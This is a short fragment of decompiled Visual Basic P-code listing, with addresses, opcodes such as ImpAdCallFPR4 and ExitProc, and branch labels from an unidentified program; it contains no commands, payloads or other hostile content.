004109dePopTmpLdAdStr 64436
004109e2ImpAdCallFPR4 pool#12, 24
004109e7FFreeStr var_300, var_448, var_44C
004109f0
004109f0loc_4109f0:
004109f0Branch 0x4108bd
004109f3
004109f3loc_4109f3:
004109f3ILdRf var_2D8
004109f6ImpAdCallFPR4 fn_4068e8, 4
004109fbSetLastSystemError
004109fcLitNothing
004109feFStVarAd 63444
00410a02ExitProc
00410628